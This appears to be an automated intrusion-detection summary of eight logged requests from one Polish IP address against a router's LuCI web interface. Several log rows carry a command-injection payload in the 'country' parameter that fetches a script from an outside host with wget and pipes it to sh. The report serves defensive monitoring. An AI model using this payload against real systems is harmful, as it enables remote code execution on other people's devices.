Summary: 8 incidents discovered from one client

	141.98.11.79 | 8 incidents | impact ∑: 120	attacks only
	Description: A targeted scan from Poland yesterday. A total of 8 incidents where discovered by phpids detection modules. The incident happened during unusual working hours in Poland, so it might be carried out by a hobbyist on caffeine.
Impact Tags Remote-City Remote-Host Remote-Logname Remote-User Date Request Final-Status Bytes-Sent Referer User-Agent 15 xss csrf sqli id lfi Poland 141.98.11.79 - - Thu, 07 Nov 2024 01:51:16 +0100 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget http://45.202.35.24/l -O-| sh`) HTTP/1.1 302 639 - Go-http-client/1.1 0 none Poland 141.98.11.79 - - Thu, 07 Nov 2024 01:51:17 +0100 \x16\x03\x01\x05\xa8\x01 400 392 - - 15 xss csrf sqli id lfi Poland 141.98.11.79 - - Thu, 07 Nov 2024 02:53:39 +0100 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget http://45.202.35.24/l -O-| sh`) HTTP/1.1 302 639 - Go-http-client/1.1 0 none Poland 141.98.11.79 - - Thu, 07 Nov 2024 02:53:51 +0100 \x16\x03\x01\x05\xa8\x01 400 392 - - 15 xss csrf sqli id lfi Poland 141.98.11.79 - - Thu, 07 Nov 2024 03:58:38 +0100 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget http://45.202.35.24/l -O-| sh`) HTTP/1.1 302 639 - Go-http-client/1.1 0 none Poland 141.98.11.79 - - Thu, 07 Nov 2024 03:58:38 +0100 \x16\x03\x01\x05\xa8\x01 400 392 - - 15 xss csrf sqli id lfi Poland 141.98.11.79 - - Thu, 07 Nov 2024 05:21:37 +0100 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget http://45.202.35.24/l -O-| sh`) HTTP/1.1 302 639 - Go-http-client/1.1 0 none Poland 141.98.11.79 - - Thu, 07 Nov 2024 05:21:41 +0100 \x16\x03\x01\x05\xa8\x01 400 392 - - 15 xss csrf sqli id lfi Poland 141.98.11.79 - - Thu, 07 Nov 2024 06:32:12 +0100 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget http://45.202.35.24/l -O-| sh`) HTTP/1.1 302 639 - Go-http-client/1.1 0 none Poland 141.98.11.79 - - Thu, 07 Nov 2024 06:32:14 +0100 \x16\x03\x01\x05\xa8\x01 400 392 - - 15 xss csrf sqli id lfi Poland 141.98.11.79 - - Thu, 07 Nov 2024 08:45:27 +0100 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget http://45.202.35.24/l -O-| sh`) HTTP/1.1 302 639 - Go-http-client/1.1 0 none Poland 141.98.11.79 - - Thu, 07 Nov 2024 08:45:27 +0100 \x16\x03\x01\x05\xa8\x01 400 392 - - 15 xss csrf sqli id lfi Poland 141.98.11.79 - - Thu, 07 Nov 2024 13:15:14 +0100 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget http://45.202.35.24/l -O-| sh`) HTTP/1.1 302 639 - Go-http-client/1.1 0 none Poland 141.98.11.79 - - Thu, 07 Nov 2024 13:15:20 +0100 \x16\x03\x01\x05\xa8\x01 400 392 - - 15 xss csrf sqli id lfi Poland 141.98.11.79 - - Thu, 07 Nov 2024 14:11:18 +0100 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget http://45.202.35.24/l -O-| sh`) HTTP/1.1 302 639 - Go-http-client/1.1 0 none Poland 141.98.11.79 - - Thu, 07 Nov 2024 14:11:25 +0100 \x16\x03\x01\x05\xa8\x01 400 392 - -